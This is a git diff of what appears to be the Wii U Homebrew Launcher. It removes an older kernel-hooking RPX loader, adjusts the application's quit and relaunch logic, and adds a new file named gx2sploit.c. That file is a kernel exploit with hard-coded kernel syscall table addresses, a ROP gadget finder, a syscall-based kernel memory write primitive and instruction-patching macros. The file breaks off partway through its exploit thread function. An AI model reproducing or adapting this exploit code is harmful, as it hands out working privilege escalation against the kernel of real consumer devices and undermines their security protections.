KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) -{ - /* - * Setup a DBAT access with cache inhibited to write through and read directly from memory - */ - unsigned int dbatu0, dbatl0, dbatu1, dbatl1; - // save the original DBAT value - asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); - asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); - asm volatile("mfdbatu %0, 1" : "=r" (dbatu1)); - asm volatile("mfdbatl %0, 1" : "=r" (dbatl1)); - - unsigned int target_dbatu0 = 0; - unsigned int target_dbatl0 = 0; - unsigned int target_dbatu1 = 0; - unsigned int target_dbatl1 = 0; - - unsigned int *dst_p = (unsigned int*)addr; - unsigned int *src_p = (unsigned int*)src; - - // we only need DBAT modification for addresses out of our own DBAT range - // as our own DBAT is available everywhere for user and supervisor - // since our own DBAT is on DBAT5 position we don't collide here - if(addr < 0x00800000 || addr >= 0x01000000) - { - target_dbatu0 = (addr & 0x00F00000) | 0xC0000000 | 0x1F; - target_dbatl0 = (addr & 0xFFF00000) | 0x32; - asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); - dst_p = (unsigned int*)((addr & 0xFFFFFF) | 0xC0000000); - } - if(src < 0x00800000 || src >= 0x01000000) - { - target_dbatu1 = (src & 0x00F00000) | 0xB0000000 | 0x1F; - target_dbatl1 = (src & 0xFFF00000) | 0x32; - - asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); - src_p = (unsigned int*)((src & 0xFFFFFF) | 0xB0000000); - } - - asm volatile("eieio; isync"); - - unsigned int i; - for(i = 0; i < len; i += 4) - { - // if we are on the edge to next chunk - if((target_dbatu0 != 0) && (((unsigned int)dst_p & 0x00F00000) != (target_dbatu0 & 0x00F00000))) - { - target_dbatu0 = ((addr + i) & 0x00F00000) | 0xC0000000 | 0x1F; - target_dbatl0 = ((addr + i) & 0xFFF00000) | 0x32; - dst_p = (unsigned int*)(((addr + i) & 0xFFFFFF) | 0xC0000000); - - asm volatile("eieio; isync"); - asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); - asm volatile("eieio; isync"); - } - if((target_dbatu1 != 0) && (((unsigned int)src_p & 0x00F00000) != (target_dbatu1 & 0x00F00000))) - { - target_dbatu1 = ((src + i) & 0x00F00000) | 0xB0000000 | 0x1F; - target_dbatl1 = ((src + i) & 0xFFF00000) | 0x32; - src_p = (unsigned int*)(((src + i) & 0xFFFFFF) | 0xB0000000); - - asm volatile("eieio; isync"); - asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); - asm volatile("eieio; isync"); - } - - *dst_p = *src_p; - - ++dst_p; - ++src_p; - } - - /* - * Restore original DBAT value - */ - asm volatile("eieio; isync"); - asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); - asm volatile("mtdbatu 1, %0" : : "r" (dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (dbatl1)); - asm volatile("eieio; isync"); -} - -// This function is called every time after LiBounceOneChunk. -// It waits for the asynchronous call of LiLoadAsync for the IOSU to fill data to the RPX/RPL address -// and return the still remaining bytes to load. -// We override it and replace the loaded date from LiLoadAsync with our data and our remaining bytes to load. -static int LiWaitOneChunk(unsigned int * iRemainingBytes, const char *filename, int fileType) -{ - unsigned int result; - register int core_id; - int remaining_bytes = 0; - - int sgFileOffset; - int sgBufferNumber; - int *sgBounceError; - int *sgGotBytes; - int *sgTotalBytes; - int *sgIsLoadingBuffer; - int *sgFinishedLoadingBuffer; - - // get the current core - asm volatile("mfspr %0, 0x3EF" : "=r" (core_id)); - - // get the offset of per core global variable for dynload initialized (just a simple address + (core_id * 4)) - unsigned int gDynloadInitialized = *(volatile unsigned int*)(OS_SPECIFICS->addr_gDynloadInitialized + (core_id << 2)); - - // Comment (Dimok): - // time measurement at this position for logger -> we don't need it right now except maybe for debugging - //unsigned long long systemTime1 = Loader_GetSystemTime(); - - if(OS_FIRMWARE == 550) - { - // pointer to global variables of the loader - loader_globals_550_t *loader_globals = (loader_globals_550_t*)(0xEFE19E80); - - sgBufferNumber = loader_globals->sgBufferNumber; - sgFileOffset = loader_globals->sgFileOffset; - sgBounceError = &loader_globals->sgBounceError; - sgGotBytes = &loader_globals->sgGotBytes; - sgTotalBytes = &loader_globals->sgTotalBytes; - sgFinishedLoadingBuffer = &loader_globals->sgFinishedLoadingBuffer; - // not available on 5.5.x - sgIsLoadingBuffer = NULL; - } - else - { - // pointer to global variables of the loader - loader_globals_t *loader_globals = (loader_globals_t*)(OS_SPECIFICS->addr_sgIsLoadingBuffer); - - sgBufferNumber = loader_globals->sgBufferNumber; - sgFileOffset = loader_globals->sgFileOffset; - sgBounceError = &loader_globals->sgBounceError; - sgGotBytes = &loader_globals->sgGotBytes; - sgIsLoadingBuffer = &loader_globals->sgIsLoadingBuffer; - // not available on < 5.5.x - sgTotalBytes = NULL; - sgFinishedLoadingBuffer = NULL; - } - - // the data loading was started in LiBounceOneChunk() and here it waits for IOSU to finish copy the data - if(gDynloadInitialized != 0) { - result = OS_SPECIFICS->LiWaitIopCompleteWithInterrupts(0x2160EC0, &remaining_bytes); - - } - else { - result = OS_SPECIFICS->LiWaitIopComplete(0x2160EC0, &remaining_bytes); - } - - // Comment (Dimok): - // time measurement at this position for logger -> we don't need it right now except maybe for debugging - //unsigned long long systemTime2 = Loader_GetSystemTime(); - - //------------------------------------------------------------------------------------------------------------------ - // Start of our function intrusion: - // After IOSU is done writing the data into the 0xF6000000/0xF6400000 address, - // we overwrite it with our data before setting the global flag for IsLoadingBuffer to 0 - // Do this only if we are in the game that was launched by our method - s_mem_area *mem_area = MEM_AREA_TABLE; - if((ELF_DATA_ADDR == mem_area->address) && (fileType == 0)) - { - unsigned int load_address = (sgBufferNumber == 1) ? 0xF6000000 : (0xF6000000 + 0x00400000); - unsigned int load_addressPhys = (sgBufferNumber == 1) ? 0x1B000000 : (0x1B000000 + 0x00400000); // virtual 0xF6000000 and 0xF6400000 - - remaining_bytes = ELF_DATA_SIZE - sgFileOffset; - if (remaining_bytes > 0x400000) - // truncate size - remaining_bytes = 0x400000; - - DCFlushRange((void*)load_address, remaining_bytes); - - u32 rpxBlockPos = 0; - u32 done = 0; - u32 mapOffset = 0; - - while((done < (u32)sgFileOffset) && mem_area) - { - if((done + mem_area->size) > (u32)sgFileOffset) - { - mapOffset = sgFileOffset - done; - done = sgFileOffset; - } - else - { - done += mem_area->size; - mem_area = mem_area->next; - } - } - - while((done < ELF_DATA_SIZE) && (rpxBlockPos < 0x400000) && mem_area) - { - u32 address = mem_area->address + mapOffset; - u32 blockSize = ELF_DATA_SIZE - done; - - if(blockSize > (0x400000 - rpxBlockPos)) - { - blockSize = 0x400000 - rpxBlockPos; - } - if((mapOffset + blockSize) >= mem_area->size) - { - blockSize = mem_area->size - mapOffset; - mem_area = mem_area->next; - mapOffset = 0; - } - - SC0x25_KernelCopyData(load_addressPhys + rpxBlockPos, address, blockSize); - done += blockSize; - rpxBlockPos += blockSize; - mapOffset += blockSize; - } - - DCInvalidateRange((void*)load_address, remaining_bytes); - - if((u32)(sgFileOffset + remaining_bytes) == ELF_DATA_SIZE) - { - ELF_DATA_ADDR = 0xDEADC0DE; - ELF_DATA_SIZE = 0; - MAIN_ENTRY_ADDR = 0xC001C0DE; - } - // set result to 0 -> "everything OK" - result = 0; - } - - // end of our little intrusion into this function - //------------------------------------------------------------------------------------------------------------------ - - // set the result to the global bounce error variable - if(sgBounceError) { - *sgBounceError = result; - } - - // disable global flag that buffer is still loaded by IOSU - if(sgFinishedLoadingBuffer) - { - unsigned int zeroBitCount = 0; - asm volatile("cntlzw %0, %0" : "=r" (zeroBitCount) : "r"(*sgFinishedLoadingBuffer)); - *sgFinishedLoadingBuffer = zeroBitCount >> 5; - } - else if(sgIsLoadingBuffer) - { - *sgIsLoadingBuffer = 0; - } - - // check result for errors - if(result == 0) - { - // the remaining size is set globally and in stack variable only - // if a pointer was passed to this function - if(iRemainingBytes) { - if(sgGotBytes) { - *sgGotBytes = remaining_bytes; - } - - *iRemainingBytes = remaining_bytes; - - // on 5.5.x a new variable for total loaded bytes was added - if(sgTotalBytes) { - *sgTotalBytes += remaining_bytes; - } - } - // Comment (Dimok): - // calculate time difference and print it on logging how long the wait for asynchronous data load took - // something like (systemTime2 - systemTime1) * constant / bus speed, did not look deeper into it as we don't need that crap - } - else { - // Comment (Dimok): - // a lot of error handling here. depending on error code sometimes calls Loader_Panic() -> we don't make errors so we can skip that part ;-P - } - return result; -} - -void my_PrepareTitle(CosAppXmlInfo *xmlKernelInfo) -{ - if(ELF_DATA_ADDR == MEM_AREA_TABLE->address) - { - xmlKernelInfo->max_size = RPX_MAX_SIZE; - xmlKernelInfo->max_codesize = RPX_MAX_CODE_SIZE; - //! setup our hook to LiWaitOneChunk for RPX loading - hook_LiWaitOneChunk = ((u32)LiWaitOneChunk) | 0x48000002; - KernelCopyData(addrphys_LiWaitOneChunk, (u32) &hook_LiWaitOneChunk, 4); - asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); - } - else if((MAIN_ENTRY_ADDR == 0xC001C0DE) && (*(u32*)xmlKernelInfo->rpx_name == 0x66666c5f)) // ffl_ - { - //! restore original LiWaitOneChunk instruction as our RPX is done - MAIN_ENTRY_ADDR = 0xDEADC0DE; - KernelCopyData(addrphys_LiWaitOneChunk, (u32)&OS_SPECIFICS->orig_LiWaitOneChunkInstr, 4); - asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); - } -} - -static int LoadFileToMem(private_data_t *private_data, const char *filepath, unsigned char **fileOut, unsigned int * sizeOut) -{ - int iFd = -1; - void *pClient = private_data->MEMAllocFromDefaultHeapEx(FS_CLIENT_SIZE, 4); - if(!pClient) - return 0; - - void *pCmd = private_data->MEMAllocFromDefaultHeapEx(FS_CMD_BLOCK_SIZE, 4); - if(!pCmd) - { - private_data->MEMFreeToDefaultHeap(pClient); - return 0; - } - - int success = 0; - private_data->FSInit(); - private_data->FSInitCmdBlock(pCmd); - private_data->FSAddClientEx(pClient, 0, -1); - - do - { - char tempPath[FS_MOUNT_SOURCE_SIZE]; - char mountPath[FS_MAX_MOUNTPATH_SIZE]; - - int status = private_data->FSGetMountSource(pClient, pCmd, 0, tempPath, -1); - if (status != 0) { - private_data->OSFatal("FSGetMountSource failed."); - } - status = private_data->FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); - if(status != 0) { - private_data->OSFatal("SD mount failed."); - } - - status = private_data->FSOpenFile(pClient, pCmd, filepath, "r", &iFd, -1); - if(status != 0) { - private_data->OSFatal("FSOpenFile failed."); - } - - FSStat stat; - stat.size = 0; - - void *pBuffer = NULL; - - private_data->FSGetStatFile(pClient, pCmd, iFd, &stat, -1); - - if(stat.size > 0) - pBuffer = private_data->MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40); - else - private_data->OSFatal("ELF file empty."); - - unsigned int done = 0; - - while(done < stat.size) - { - int readBytes = private_data->FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1); - if(readBytes <= 0) { - break; - } - done += readBytes; - } - - if(done != stat.size) - { - private_data->MEMFreeToDefaultHeap(pBuffer); - } - else - { - *fileOut = (unsigned char*)pBuffer; - *sizeOut = stat.size; - success = 1; - } - - private_data->FSCloseFile(pClient, pCmd, iFd, -1); - private_data->FSUnmount(pClient, pCmd, mountPath, -1); - } - while(0); - - private_data->FSDelClient(pClient); - private_data->MEMFreeToDefaultHeap(pClient); - private_data->MEMFreeToDefaultHeap(pCmd); - return success; -} - static unsigned int load_elf_image (private_data_t *private_data, unsigned char *elfstart) { Elf32_Ehdr *ehdr; @@ -468,19 +49,25 @@ static unsigned int load_elf_image (private_data_t *private_data, unsigned char continue; if(phdrs[i].p_filesz > phdrs[i].p_memsz) - continue; + return 0; if(!phdrs[i].p_filesz) continue; unsigned int p_paddr = phdrs[i].p_paddr; - image = (unsigned char *) (elfstart + phdrs[i].p_offset); - private_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz); - DCFlushRange((void*)p_paddr, phdrs[i].p_filesz); + // use correct offset address for executables and data access + if(phdrs[i].p_flags & PF_X) + p_paddr += CODE_RW_BASE_OFFSET; + else + p_paddr += DATA_RW_BASE_OFFSET; + + image = (unsigned char *) (elfstart + phdrs[i].p_offset); + private_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz); + private_data->DCFlushRange((void*)p_paddr, phdrs[i].p_filesz); if(phdrs[i].p_flags & PF_X) - ICInvalidateRange ((void *) p_paddr, phdrs[i].p_memsz); + private_data->ICInvalidateRange ((void *) phdrs[i].p_paddr, phdrs[i].p_memsz); } //! clear BSS @@ -491,31 +78,15 @@ static unsigned int load_elf_image (private_data_t *private_data, unsigned char if(section_name[0] == '.' && section_name[1] == 'b' && section_name[2] == 's' && section_name[3] == 's') { private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); - DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); + private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); } else if(section_name[0] == '.' && section_name[1] == 's' && section_name[2] == 'b' && section_name[3] == 's' && section_name[4] == 's') { private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); - DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); + private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); } } - //! setup hooks - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x25 * 4)), (unsigned int)KernelCopyData); - - //! store physical address for later use - addrphys_LiWaitOneChunk = private_data->OSEffectiveToPhysical((void*)OS_SPECIFICS->addr_LiWaitOneChunk); - - u32 addr_my_PrepareTitle_hook = ((u32)my_PrepareTitle_hook) | 0x48000003; - DCFlushRange(&addr_my_PrepareTitle_hook, 4); - - //! create our copy syscall - SC0x25_KernelCopyData(OS_SPECIFICS->addr_PrepareTitle_hook, private_data->OSEffectiveToPhysical(&addr_my_PrepareTitle_hook), 4); - return ehdr->e_entry; } @@ -541,24 +112,11 @@ static void loadFunctionPointers(private_data_t * private_data) OS_FIND_EXPORT(coreinit_handle, "memcpy", private_data->memcpy); OS_FIND_EXPORT(coreinit_handle, "memset", private_data->memset); OS_FIND_EXPORT(coreinit_handle, "OSFatal", private_data->OSFatal); - OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", DCFlushRange); - OS_FIND_EXPORT(coreinit_handle, "DCInvalidateRange", DCInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", ICInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, "OSEffectiveToPhysical", private_data->OSEffectiveToPhysical); + OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", private_data->DCFlushRange); + OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", private_data->ICInvalidateRange); + OS_FIND_EXPORT(coreinit_handle, "__os_snprintf", private_data->__os_snprintf); OS_FIND_EXPORT(coreinit_handle, "exit", private_data->exit); - OS_FIND_EXPORT(coreinit_handle, "FSInit", private_data->FSInit); - OS_FIND_EXPORT(coreinit_handle, "FSAddClientEx", private_data->FSAddClientEx); - OS_FIND_EXPORT(coreinit_handle, "FSDelClient", private_data->FSDelClient); - OS_FIND_EXPORT(coreinit_handle, "FSInitCmdBlock", private_data->FSInitCmdBlock); - OS_FIND_EXPORT(coreinit_handle, "FSGetMountSource", private_data->FSGetMountSource); - OS_FIND_EXPORT(coreinit_handle, "FSMount", private_data->FSMount); - OS_FIND_EXPORT(coreinit_handle, "FSUnmount", private_data->FSUnmount); - OS_FIND_EXPORT(coreinit_handle, "FSOpenFile", private_data->FSOpenFile); - OS_FIND_EXPORT(coreinit_handle, "FSGetStatFile", private_data->FSGetStatFile); - OS_FIND_EXPORT(coreinit_handle, "FSReadFile", private_data->FSReadFile); - OS_FIND_EXPORT(coreinit_handle, "FSCloseFile", private_data->FSCloseFile); - unsigned int sysapp_handle; OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); OS_FIND_EXPORT(sysapp_handle, "SYSRelaunchTitle", private_data->SYSRelaunchTitle); @@ -566,87 +124,37 @@ static void loadFunctionPointers(private_data_t * private_data) int _start(int argc, char **argv) { - private_data_t private_data; - - if(MAIN_ENTRY_ADDR != 0xC001C0DE) { + private_data_t private_data; loadFunctionPointers(&private_data); - while(1) + if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0) { - if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0) + //! copy data to safe area before processing it + unsigned char * pElfBuffer = (unsigned char *)private_data.MEMAllocFromDefaultHeapEx(ELF_DATA_SIZE, 4); + if(pElfBuffer) { - //! copy data to safe area before processing it - unsigned char * pElfBuffer = (unsigned char *)private_data.MEMAllocFromDefaultHeapEx(ELF_DATA_SIZE, 4); - if(pElfBuffer) - { - private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE); - MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); - private_data.MEMFreeToDefaultHeap(pElfBuffer); - - } - ELF_DATA_ADDR = 0xDEADC0DE; - ELF_DATA_SIZE = 0; + private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE); + MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); + private_data.MEMFreeToDefaultHeap(pElfBuffer); } + ELF_DATA_ADDR = 0xDEADC0DE; + ELF_DATA_SIZE = 0; + } - if(MAIN_ENTRY_ADDR == 0xDEADC0DE || MAIN_ENTRY_ADDR == 0) + if((MAIN_ENTRY_ADDR != 0xDEADC0DE) && (MAIN_ENTRY_ADDR != 0)) + { + int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv); + + //! exit to miimaker and restart application on re-enter of another application + if(returnVal != (int)EXIT_RELAUNCH_ON_LOAD) { - if(HBL_CHANNEL) - { - break; - } - else - { - unsigned char *pElfBuffer = NULL; - unsigned int uiElfSize = 0; - - LoadFileToMem(&private_data, CAFE_OS_SD_PATH WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf", &pElfBuffer, &uiElfSize); - - if(!pElfBuffer) - { - private_data.OSFatal("Failed to load homebrew_launcher.elf"); - } - else - { - MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); - if(MAIN_ENTRY_ADDR == 0) - { - private_data.OSFatal("Failed to load homebrew_launcher.elf"); - } - else - { - private_data.MEMFreeToDefaultHeap(pElfBuffer); - } - } - } - } - else - { - int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv); - //! exit to miimaker and restart application on re-enter of another application - if(returnVal == (int)EXIT_RELAUNCH_ON_LOAD) - { - break; - } - //! exit to homebrew launcher in all other cases - else - { - MAIN_ENTRY_ADDR = 0xDEADC0DE; - private_data.SYSRelaunchTitle(0, 0); - private_data.exit(0); - break; - } + MAIN_ENTRY_ADDR = 0xDEADC0DE; + private_data.SYSRelaunchTitle(0, 0); + private_data.exit(0); } } } - int ret = ( (int (*)(int, char **))(*(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry) )(argc, argv); - - //! if an application returns and was an RPX launch then launch HBL again - if(MAIN_ENTRY_ADDR == 0xC001C0DE) - { - private_data.SYSRelaunchTitle(0, 0); - private_data.exit(0); - } - return ret; + return ( (int (*)(int, char **))(*(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry) )(argc, argv); } diff --git a/src/Application.cpp b/src/Application.cpp index a51d344..c97010f 100644 --- a/src/Application.cpp +++ b/src/Application.cpp @@ -17,6 +17,7 @@ #include #include #include +#include #include "Application.h" #include "common/common.h" #include "gui/FreeTypeGX.h" @@ -29,6 +30,7 @@ Application *Application::applicationInstance = NULL; bool Application::exitApplication = false; +bool Application::quitRequest = false; Application::Application() : CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x20000) @@ -79,6 +81,11 @@ Application::~Application() SoundHandler::DestroyInstance(); ProcUIShutdown(); + + if(quitRequest) + { + SYSRelaunchTitle(0, 0); + } } int Application::exec() @@ -91,6 +98,13 @@ int Application::exec() return exitCode; } +void Application::quit(int code) +{ + exitCode = code; + exitApplication = true; + quitRequest = true; +} + void Application::fadeOut() { GuiImage fadeOut(video->getTvWidth(), video->getTvHeight(), (GX2Color){ 0, 0, 0, 255 }); @@ -147,7 +161,8 @@ bool Application::procUI(void) { case PROCUI_STATUS_EXITING: { - quit(EXIT_RELAUNCH_ON_LOAD); + exitCode = EXIT_SUCCESS; + exitApplication = true; break; } case PROCUI_STATUS_RELEASE_FOREGROUND: @@ -174,28 +189,31 @@ bool Application::procUI(void) } case PROCUI_STATUS_IN_FOREGROUND: { - if(video == NULL) + if(!quitRequest) { - log_printf("initialze memory\n"); - memoryInitialize(); - - log_printf("Initialize video\n"); - video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_RENDER_MODE_SINGLE); - log_printf("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight()); - - //! setup default Font - log_printf("Initialize main font system %p\n", Resources::GetFile("font.ttf")); - FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true); - GuiText::setPresetFont(fontSystem); - - if(mainWindow == NULL) + if(video == NULL) { - log_printf("Initialize main window\n"); - mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight()); - } + log_printf("initialze memory\n"); + memoryInitialize(); + log_printf("Initialize video\n"); + video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_RENDER_MODE_SINGLE); + log_printf("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight()); + + //! setup default Font + log_printf("Initialize main font system\n"); + FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true); + GuiText::setPresetFont(fontSystem); + + if(mainWindow == NULL) + { + log_printf("Initialize main window\n"); + mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight()); + } + + } + executeProcess = true; } - executeProcess = true; break; } case PROCUI_STATUS_IN_BACKGROUND: @@ -257,6 +275,11 @@ void Application::executeThread(void) AsyncDeleter::triggerDeleteProcess(); } + //! in case we exit to a homebrew let's smoothly fade out + if(video) + { + fadeOut(); + } log_printf("delete mainWindow\n"); delete mainWindow; diff --git a/src/Application.h b/src/Application.h index 44f4dca..46dc8d9 100644 --- a/src/Application.h +++ b/src/Application.h @@ -53,10 +53,7 @@ public: int exec(void); void fadeOut(void); - void quit(int code) { - exitCode = code; - exitApplication = true; - } + void quit(int code); private: Application(); @@ -66,6 +63,7 @@ private: static Application *applicationInstance; static bool exitApplication; + static bool quitRequest; void executeThread(void); diff --git a/src/common/common.h b/src/common/common.h index 08232f5..6bca5c2 100644 --- a/src/common/common.h +++ b/src/common/common.h @@ -7,7 +7,7 @@ extern "C" { #include "os_defs.h" -#define HBL_VERSION "v1.4" +#define HBL_VERSION "v2.0" #define CAFE_OS_SD_PATH "/vol/external01" #define SD_PATH "fs:" @@ -19,15 +19,12 @@ extern "C" { #define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) #define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) -#define HBL_CHANNEL (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x08)) -#define RPX_MAX_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x0C)) -#define RPX_MAX_CODE_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x10)) #define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) #define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04)) #define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500)) -#define MEM_AREA_TABLE ((s_mem_area*)(MEM_BASE + 0x1600)) +#define APP_BASE_MEM ((unsigned char*)(MEM_BASE + 0x2000)) #ifndef EXIT_SUCCESS #define EXIT_SUCCESS 0 diff --git a/src/entry.c b/src/entry.c index 491f4f9..ea0bfce 100644 --- a/src/entry.c +++ b/src/entry.c @@ -8,22 +8,6 @@ static volatile uint8_t ucRunOnce = 0; int main(int argc, char **argv) { - //! ******************************************************************* - //! * Check if our application is started * - //! ******************************************************************* -/* - if (OSGetTitleID != 0 && - OSGetTitleID() != 0x000500101004A200 && // mii maker eur - OSGetTitleID() != 0x000500101004A100 && // mii maker usa - OSGetTitleID() != 0x000500101004A000) // mii maker jpn - return EXIT_RELAUNCH_ON_LOAD; - - //! check if application needs a re-load - if(ucRunOnce) { - return EXIT_SUCCESS; - } - ucRunOnce = 1; -*/ //! ******************************************************************* //! * Jump to our application * //! ******************************************************************* diff --git a/src/kernel/gx2sploit.c b/src/kernel/gx2sploit.c new file mode 100644 index 0000000..b00a574 --- /dev/null +++ b/src/kernel/gx2sploit.c @@ -0,0 +1,331 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "common/common.h" +#include "utils/logger.h" +#include "../../sd_loader/sd_loader.h" + +#define JIT_ADDRESS 0x01800000 + +#define KERN_HEAP 0xFF200000 +#define KERN_HEAP_PHYS 0x1B800000 + +#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown +#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games +#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader +#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu +#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL) + +#define KERN_CODE_READ 0xFFF023D4 +#define KERN_CODE_WRITE 0xFFF023F4 +#define KERN_DRVPTR 0xFFEAB530 +#define KERN_ADDRESS_TBL 0xFFEAB7A0 + +#define STARTID_OFFSET 0x08 +#define METADATA_OFFSET 0x14 +#define METADATA_SIZE 0x10 + +#define ADDRESS_main_entry_hook 0x0101c56c +#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040 + +#define BAT_SETUP_HOOK_ADDR 0xFFF1D624 +#define BAT_SETUP_HOOK_ENTRY 0x00800000 +#define BAT4U_VAL 0x008000FF +#define BAT4L_VAL 0x30800012 + +#define BAT_SET_NOP_ADDR_1 0xFFF06B6C +#define BAT_SET_NOP_ADDR_2 0xFFF06BF8 +#define BAT_SET_NOP_ADDR_3 0xFFF003C8 +#define BAT_SET_NOP_ADDR_4 0xFFF003CC +#define BAT_SET_NOP_ADDR_5 0xFFF1D70C +#define BAT_SET_NOP_ADDR_6 0xFFF1D728 +#define BAT_SET_NOP_ADDR_7 0xFFF1D82C + +#define BAT_SET_NOP_ADDR_8 0xFFEE11C4 +#define BAT_SET_NOP_ADDR_9 0xFFEE11C8 + +#define NOP_ADDR(addr) \ + *(u32*)addr = 0x60000000; \ + asm volatile("dcbf 0, %0; icbi 0, %0" : : "r" (addr & ~31)); + + +extern int32_t Register(char *driver_name, uint32_t name_length, void *buf1, void *buf2); +extern void CopyToSaveArea(char *driver_name, uint32_t name_length, void *buffer, uint32_t length); +extern void set_semaphore_phys(uint32_t set_semaphore, uint32_t kpaddr, uint32_t gx2data_addr); + +extern void SC0x25_SetupSyscall(void); +extern unsigned int SC0x65_ExploitCheck(unsigned int in); + +/* Find a gadget based on a sequence of words */ +static void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) +{ + uint32_t *ptr; + + /* Search code before JIT area first */ + for (ptr = (uint32_t*)gadgets_start; ptr != (uint32_t*)JIT_ADDRESS; ptr++) + { + if (!memcmp(ptr, &code[0], length)) return ptr; + } + + OSFatal("Failed to find gadget!"); + return NULL; +} + +/* Chadderz's kernel write function */ +static void __attribute__((noinline)) kern_write(const void *addr, uint32_t value) +{ + asm volatile ( + "li 3,1\n" + "li 4,0\n" + "mr 5,%1\n" + "li 6,0\n" + "li 7,0\n" + "lis 8,1\n" + "mr 9,%0\n" + "mr %1,1\n" + "li 0,0x3500\n" + "sc\n" + "nop\n" + "mr 1,%1\n" + : + : "r"(addr), "r"(value) + : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", + "11", "12" + ); +} + +int exploitThread(int argc, char **argv) +{ + OSDynLoadModule gx2_handle; + OSDynLoad_Acquire("gx2.rpl", &gx2_handle); + + void (*pGX2SetSemaphore)(uint64_t *sem, int action); + OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", (void**)&pGX2SetSemaphore); + uint32_t set_semaphore = ((uint32_t)pGX2SetSemaphore) + 0x2C; + + u32 gx2_init_attributes[9]; + u8 *gx2CommandBuffer = (u8*)memalign(0x40, 0x400000); + + gx2_init_attributes[0] = 1; + gx2_init_attributes[1] = (u32)gx2CommandBuffer; + 